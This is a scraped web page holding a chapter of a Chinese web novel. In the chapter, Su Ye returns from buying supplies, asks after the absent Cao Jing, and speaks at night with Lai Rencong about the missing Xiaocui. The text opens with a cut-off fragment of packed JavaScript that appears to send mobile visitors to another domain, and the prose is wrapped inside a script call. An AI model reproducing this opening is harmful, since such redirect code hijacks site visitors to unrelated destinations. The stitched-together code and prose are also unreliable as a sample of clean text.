l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370994|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他语气很平淡，似是有些闷，随口一问。 苏冶抚了抚微微皱起的袖口，解释道： “往日我和赵二两个人，采买的东西也没今日多。” 张老头没继续说话，苏冶倒是回问道： “张师傅单独跟我也就这一趟，怎的有了个‘平日’。” 苏冶说着话时带着笑意，语气轻松，似是有些开玩笑的成分。 张老头似是顿了一下，而后笑道：“是这样没错，瞧我这年纪大了，尽夸口胡说。” 苏冶笑笑，没再说话，她枕着窗棂，车轱辘碾过石头路，发出规律的响声，带着她的思绪飘得老远。 回到哑沟后，苏冶先去找了赵二，要见曹经。 “老大那会儿出去了，如今没在村里。”赵二道。 苏冶猜到了这个结果，面上却装作几分诧异。 “怎的这般急？这次采买的账还没和他对。” 赵二似是不愿意多说，只皱眉道：“管那么多干甚，等他回来再交代也不迟，有问题的，先去找赵大娘，你做你的事情就行。” 见赵二难得说了些识大体的周全话，苏冶从善如流道：“那好，我先回去了。” 赵二点头，似是有心事，不愿多说些什么。 苏冶见状便转身离开了。 回到院里时，她远远便瞧见不远处有道黑影，走近时，才看清是来人聪，他正坐在门槛上。 上次的事情以后，俩人一直没说过话，苏冶当他同往常一样，便打算绕过她，从屋里进去。 “苏冶。” 她转过身，确认那道声音是来人聪发出来的。 不似往日，他这一声有些沉，要不是此时这里没有第二个人，苏冶会当是自己的错觉。 “什么事？”苏冶道。 来人聪在夜色里抬起头，看向她。 “你知道小翠去哪去了吗？” 听到这话时，苏冶心头一怔。 不过很快，她语气平常开口道：“不是同你说过，回了县里，此后也和你没关系了。” 来人聪平静地摇了摇头，“你说的没错，我是个废物。” 今夜似乎没有月亮，黯淡里苏冶瞧不真切他的神色，只能听见他的声音。 “但小翠是个傻子，她若还在县里，一定会想办法来找我。” 苏冶闻言，朝他的方向走了几步，“你将人心想得太好了，小翠是吃过苦的人，自然想着以后日子能好些，在你这里耗什么。” 来人聪却道：“我知道你有道理，但你不是我，也不是小翠，我就是知道她。” 苏冶见他这样，没了耐心。 “所以呢，你到底想说什么？” 她的话音落下后，空气里陷入了一片沉默，紧接着，她看到来人聪站了起来，朝着东屋的方向走去。 正走着，他忽然停下，没有回头，苏冶只听见了他的声音。 “你下次去县里，能不能帮我带点沉香，顺便去买点奉庆坊的枣泥糕，小翠爱吃。” 说罢，他继续向前走，留下了苏冶在原地，夜风吹起她的衣袂，猎猎作响。 忽得，苏冶说了句什么，声音很轻，几乎微不可闻，来人聪却猛地停了下来，回头看向了她。 “你说什么？” 苏冶在黑暗里抬起头，一字一句清晰重复道： “曹经活不长了。”